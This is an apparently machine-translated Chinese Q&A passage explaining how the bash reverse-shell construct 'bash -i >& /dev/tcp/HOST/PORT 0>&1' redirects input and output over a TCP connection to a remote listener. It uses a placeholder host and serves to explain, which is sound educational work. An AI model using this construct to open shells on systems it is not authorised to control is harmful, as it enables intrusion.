Answers:
此代码段bash -i在bash进程期间创建的与指定主机上指定端口的TCP连接上运行bash()的新交互式实例。通过此连接(>& /dev/tcp/HOST/PORT)发送标准输出和标准错误,并通过此连接读取标准输入(0>&1—应该也可以,0<&1但是0>&1也可以)。
没有正在进行的端口转发。显然,某种TCP服务器必须在该HOST:PORT上侦听和接受连接,并且防火墙必须允许连接通过。
/dev/tcp/HOST/PORT吗?我假设您用替换了姓名,HOST并用替换了数字PORT。否则,您将收到来自bash的错误消息。由于您没有提及任何错误消息,因此我想您没有看到任何错误消息。
0<&1部分。我将其读取为“采用bash stdout(&1)并将其通过管道传送到bash stdin(0)”,这很有意义。您能解释一下这部分如何工作吗?
0<&1表示将文件描述符1上当前打开的内容连接到文件描述符0。由于先前的重定向>& /dev/tcp/HOST/PORT将fd 1(输出重定向的默认值)连接到/dev/tcp/HOST/PORT,即打开了TCP套接字,因此将TCP连接复制到文件描述符0(即现在在fd 0上也打开了相同的套接字,这不同于0 </ dev / tcp / HOST / PORT,后者将打开同一服务器的不同套接字)。